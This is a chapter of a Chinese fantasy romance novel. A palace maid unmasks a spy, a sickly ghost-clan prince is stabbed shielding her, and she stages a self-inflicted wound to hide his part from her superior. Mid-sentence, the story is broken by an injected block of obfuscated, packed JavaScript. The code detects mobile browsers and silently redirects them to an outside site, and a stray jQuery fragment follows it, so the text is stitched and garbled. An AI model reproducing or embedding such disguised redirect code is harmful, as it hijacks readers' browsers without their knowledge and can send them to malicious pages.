“还有欧阳明德,他能在第一时间躲得过督仙司的搜查,必是有人接应。我们在无极宫内室发现了两个人的脚印,其中一个是他的,另一个脚印稍小,应是个女子。无极宫内室密道路线复杂,能在这样短的时间内出入的,必是极为了解其地形,所以我猜,帮他的人应当就在无极宫中。可真让我确定是你的,是欧阳呆的那个山洞,里面点的蜡烛顶端你注意过吗?竟是你曾经雕刻过的四瓣莲的形状。”
秋月面上表情一时变化莫测。片刻,她才冷笑着说道:“你在栖霞宫当个内侍女仙倒真是屈才了,曦泽应该放你在督仙司才对。”
玄琉道:“现在轮到我问你了,你为何要这样做?为何要杀茵兰?”
“她太蠢,屡屡犯错,主子交代的事没有一样做的好的,留着做什么?”
“所以,她其实……是你的下属,你们在无极宫示于人前的种种不合,皆为假象?”
“也不尽然,毕竟同为主子效力,自是水火不容。”秋月挑着眉道:“其实最开始主子看好的暗探是她,但好在我有你这样一个朋友,愿意替我出头,处处与其硬碰。她急于反击,却是越错越多,自然会遭主子厌弃,丢了性命也是迟早之事。”
“你们的主子是谁?”玄琉继续问道。
她看着玄琉:“恕我不能相告。”
“你们要用浮沉珠来做什么?”
秋月笑了笑:“你觉得我会告诉你?”
她说这完,再次持剑攻了上来。
玄琉能感觉到,秋月已不复方才的试探与留情,此刻的她,是下了杀心的。
秋月看了眼月色,出剑越来越快,似是想要速战速决。掌心暗青之气翻涌如云,五指一收,玄琉立刻被一股极大的吸力牵引向前。
她脚步蹒跚,飙风将她的面皮吹得刺痛不已,此刻的自己,必然是五官扭曲,丑陋至极。秋月啧啧两声,叹息道:“真该拿个镜子让你瞧瞧自己此刻的模样。”
玄琉的身子离秋月越来越近,她咬着后槽牙道:“大可不必。”
狂风不住,玄琉的身形不住摇晃。
轻敌!她太轻敌了!
她在心里止不住叹息。
眼看那长剑再有一寸便要没入她的胸前,她却无力阻挡。
想象着被一剑贯穿的痛苦,她拧紧了眉。
这时,一道天青流光猛然映入眼帘,剑气如虹,以气贯山河之势肃然一劈,迅速将秋月击得后退数步,瘫倒在地。
秋月侧身吐出一大口血,抬起头看着来人。
玄琉亦抬起头来。
天青衣袍,临风而立。如此姿容,唯暮鸢能有。
玄琉注视着他,见他胸口微有起伏,呼吸也有些急促。明显是急赶而来。她心底忽而一暖。正想开口,瞬息之间,却又忍不住眯了眯眼。
不为别的,只因她视线无意一扫间,发现秋月眼中竟盛着一丝掩饰不住的……惊慌。
暮鸢没看秋月,他尚在病中,面色憔悴又苍白,一剑挥出后,身形晃了两晃,似要摔倒。
玄琉立刻上前去扶住他,暮鸢回头,上上下下扫视了玄琉须臾,才哑着嗓音轻声道:“没事吧?”
“没……没事。”玄琉摇了摇头:“你怎么会来这儿?”
暮鸢拍了拍她的脑袋,语气依旧温和:“晚会儿在同你解释。”
玄琉沉默了一瞬,终才点了点头。
暮鸢重新回头,长剑指着地上的秋月,眼神瞬时冷峻如冰。
秋月手撑在身后哆嗦着挪着身子。她发丝散乱,面容破败。慌乱地扫了站在暮鸢身侧的玄琉一眼,张了张口。
玄琉垂下眼帘,暮鸢在天界众仙眼中的形象一直是个体弱多病又不受宠的鬼族质子。就连鬼族皇子,他的亲哥哥。此次于天界呆了这么久,都未曾过问其一句。是以众仙,大多明里对暮鸢大多尊敬,暗里并不将其放于眼中。
毕竟是这样一个式微的二皇子。
可秋月,又何至于斯呢?她那种眼神,就像是犯下弥天大错被当场捉住等待判决一般,惊恐,无助,乞求。
暮鸢身型挡在玄琉面前,玄琉看不清他的面容,以她的视角,只能看见地上的秋月艰难地咽了咽口水。
她连忙拉住暮鸢衣袖:“别……别杀她,督仙司那里还有很多事要问她。”
暮鸢点了点头,温声道:“放心。”
他收了剑,回过头去,看着地上的秋月,话却是对着玄琉再说:“你退到边上,我替你将她绑了。”
玄琉:“我可以自己……”
她话音未落,地上的秋月眼眸徒然一黯,如风过境,持剑迅疾向前刺去。
“来”字刚出口,玄琉眼瞳蓦地睁大了双眼。
一切发生的太快,明明前一秒,秋月还如惊弓之鸟无法动弹。谁能想到这一秒她却如电光般闪到了眼前!玄琉只能眼睁睁地看着那剑如一道细长冰柱,以迅雷不及掩耳之势刺入暮鸢身体。
以暮鸢的本事,这一剑他应是能躲过的,可他关心则乱,那剑刺来之时,他几乎是下意识地挡在了玄琉身前,将她紧紧护在了身后。
“不要!”
“噗”“啪”地两声,锐器刺入□□的沉闷声音和暮鸢手中剑鞘掉落在地的清脆之声同时在她耳边响起。玄琉几乎呆住,只觉得周身血液似被人瞬间抽干了一般,整个人瞬间怔在了原地。
一滴,两滴……如同下了一小片细雨,地面之上,逐渐氤出一片腥甜的小小水泽。
秋月拔出长剑,暮鸢立时喷出一大口血来,他身子往前一倒,半跪着扑在了玄琉怀中。玄琉眼风里瞧见身侧寒光一闪,还未来得及反应,暮鸢已迅速抽出她手中长剑,墨眉紧皱,强撑着一口气,反手一剑将秋月刺倒在地。
“殿下!殿下你怎么样?”高墙之上,沉鱼迅疾飞来,面容焦急地盯着面色极为苍白的暮鸢。
玄琉垂首,迅速检查着他的伤口。
“玄……玄琉,呼吸……”
暮鸢看着她说道。
“呼吸!不要憋着气!”暮鸢提高了声音又道。
玄琉充耳不闻,只哆嗦着继续检查伤口和止血。直到确定那伤口并不致命,她才真正回过神来,呼出长长一口气。而后竟发现自己有些头重脚轻,太阳穴也隐隐发涨。
她有个毛病,太过紧张时就容易忘了呼吸。常常将自己憋得快要晕过去才罢休。以前暮鸢说过她很多次,可她怎么改也改不掉。
将随身带得止血丹药送到暮鸢口中,他的脸才终于恢复了些许血色,玄琉揉着发涨的太阳穴,道:“这一剑刺得不浅,还好殿下灵力护体,未伤及内里。”
沉鱼一脸愧疚:“都怪属下!是属下来得太迟了!”
暮鸢费力地挪动了一下身体,又看向玄琉,笑了笑:“别……害怕,我没事。”
玄琉看了一眼地上气绝而亡的秋月,问:“方才你怎么不躲开?”
暮鸢身上的血已止住,如水似月的眼底里倒映出玄琉努力压抑着情绪的一张脸,他笑了笑:“一时紧张,给忘了。”
玄琉垂下眼眸,不语。
沉鱼清了清嗓子:“殿下,我们要赶紧离开,方才我来的时候,看到有督仙司的仙兵正往这个方向赶来。”
她又看向玄琉:“眼下大皇子也在天界,若此刻有人拿殿下身为鬼族质子却公然杀害天界仙姬的事来做文章……”
六界之中,天界主宰一切。暮鸢作为整个鬼族唯一一个可能会危及大皇子地位的质子,别说现在还未能将秋月定为此案凶手,纵然秋月已是天牢阶下囚,身为仙身的她,被暮鸢一刀毙命,此事也完全可以被有心之人加以利用,大做文章!
“我明白。你们快走,剩下的我来处理……”
沉鱼点了点头,暮鸢看着她:“那你一切小心,切记万事不可逞强。”
玄琉却没看他,只低着头道:“嗯。”
沉鱼拍了拍玄琉肩膀,扶上暮鸢,纵身一跃,主仆二人很快便消失在了夜色之中。
玄琉这才回头,看着秋月胸前插着的那把剑。缓缓松了口气。
还好,这剑是自己的。
她上前一步,望着地上那一小片血迹微微出神。
片刻之后,玄琉抿了抿唇。将秋月那把剑拿入手中,锋微一扭转,一剑没入自己上臂之中。
这个穴位,伤害不大但出血极多,看着地面急雨一般簌簌而下的血珠。她捂着手臂,躺在了地上。
不肖片刻,督仙司一众仙兵便赶到了现场。
当曦泽推开院门看到血泊里躺着的玄琉和时,他不由得顿住了脚步。
跟在身后的宫珏亦是瞪大了眼。他飞速扫了眼曦泽铁青的面色。二话不说,跃至玄琉身侧,先是摸了摸她的脉搏,而后才拍了拍胸脯,开玩笑地说道:“吓死属下了,还以为玄丫头就此壮烈牺牲了呢!”
曦泽并没有笑,一张脸瞧着要多无情有多无情。
他扫了眼秋月的尸首,指了指玄琉,言简意赅道:“弄醒。”
宫珏得了命令,左右开弓拍了拍玄琉的脸。过了会儿,玄琉“咳咳”两声,挣扎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393957|179500||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着醒了过来。
她捂着胸口看了眼近在咫尺的宫珏。
再晚醒一会儿,是要把我煽死吗?
而后又虚弱地瞥了一眼俯视着她的曦泽。
“参……参见君上。”她以此生最弱柳扶风的姿态朝曦泽说道。
“你这都血流成河了玄丫头,随身带的可有药吗?”宫珏问道。
玄琉点了点头,抖着手从怀里掏出一瓶药丸,再哆哆嗦嗦地想要塞到嘴中。
“还是我来帮你吧。”宫珏咂咂嘴,抽走药丸,极为准确地塞到玄琉嘴里。
“还能动吗?”曦泽翻看着秋月的尸身,头都不曾抬过一下。
“能。”玄琉回道。
“那便讲讲,怎么回事。”
完了又加上一句:“还是你需要休息一会儿,想一想,再讲?”
玄琉心中忐忑,曦泽一直没有回头,她只能看着他的背影,暗暗揣摩着他这话的意思。
她默了默,斟酌着用词将方才的情形重复了一遍,又不着痕迹地隐去了暮鸢出现的那一段。
“看来近日需要仔细检查一下天界各宫了。”宫珏听了玄琉的描述,不由感叹道。
曦泽方已看过了秋月,他接过仙兵递来的绢帕,仔仔细细地擦着那指骨分明的一双手。而后,背着手走近玄琉,盯着地上那一片血迹道:“她用了浮沉珠之力,此刻法力暴涨,你倒是命大。”
玄琉低垂眉眼:“拖君上的福,是玄琉侥幸。”
“玄丫头,不是我说你,你此举着实也太莽撞了些。此种危险的情境,怎能自己孤身前往呢?”宫珏又道。
“此事是我不对。”玄琉低着头:“我当时难以想象此事竟会是她所为,百思不得其解。再加上我去督仙司未寻到你和君上,又恐她有所警觉不敢声张,便只留了字条先寻了过来。”
曦泽蹲下身来,盯着玄琉,眸光锐利:“所以,这里全程只有你二人吗?”
玄琉点头道:“是。”
“你俩在此打了一场,最后,你挑开了她的剑,回刺了一剑?”曦泽的声音和他的目光一样冷厉。
“是。”本着说多错多的原则,玄琉今夜话说得不多。她失血过多,受惊过度,此番又面容苍白,自认为言辞之中他难以挑出错处。
感受到灼人的视线在她头顶停驻许久,曦泽才道:“给我看一下伤口。”
玄琉顺从地抬起手臂。
曦泽翻看了一下她的伤口。而后,目光如电般牢牢盯住她,半晌没说话。
玄琉感觉额角的一丝冷汗缓缓滴落而下,落在她脖颈处,黏腻地凝在了那,被风一吹,又有些微微发痒。
“我再问一次,当时只有你二人在吗?”他又问了一遍,声音比方才更冷。
玄琉咽了咽口水,忽而推开他的手臂,抬起头,怒目而视:“君上此话,是不相信我所说的吗?”
“你说呢?”
玄琉抱着手臂坐直身子:“君上既然知晓秋月就是此案凶手。那试问,一个凶手要杀我,我大难没死,侥幸逃过一劫有何奇怪之处?难不成因为我没死,就要在此被君上这般盘问怀疑?”
她气极反笑,带着一张没有血色的脸,有一种破罐子破摔的决绝之态:“君上,小仙不是你们这些天生仙骨的神仙。我在天界,一没靠山,二无亲人。濒死之际,难道还会有帮手前来救我不成?你若是怀疑我,不如将我绑起来扔到地字监考里细细审查一番,倒来的痛快一些。”
宫珏忙站起身来:“好了好了,怎得还治上气来了呢。玄丫头,你要理解君上呀,实在是此番,她被你一剑毙命,后续很多问题便得不到解答,君上慎重一些也是……也是。”
“也是应该的,对吗?”玄琉看着宫珏:“后续很多问题得不到解答是我的错吗?她拿剑劈我,我若不反击,此番倒在这里的便是我了!命悬一线时,换成君上,您还能顾得了这么多吗?”
曦泽背着手,冷嗖嗖地看了她一眼。接着,一言不发,拂袖而去。
宫珏在后面,叉腰指挥着仙兵将尸首抬回督仙司去。他看着玄琉,张了张口,最后还是忍不住道:“玄丫头,你也莫要生君上的气,其实……方才来时,君上还给我说,此次案件侦破,你功不可没,届时还要把你的名字写上去好让帝后论功行赏呢。”
玄琉捂着手臂,凉意幽幽道:“不敢当!”
宫珏看了看她,边走边道:“不过呀,这么多年,敢梗着脖子与君上针锋相对的,你是第一人!”
他说完,朝玄琉比了个大拇指。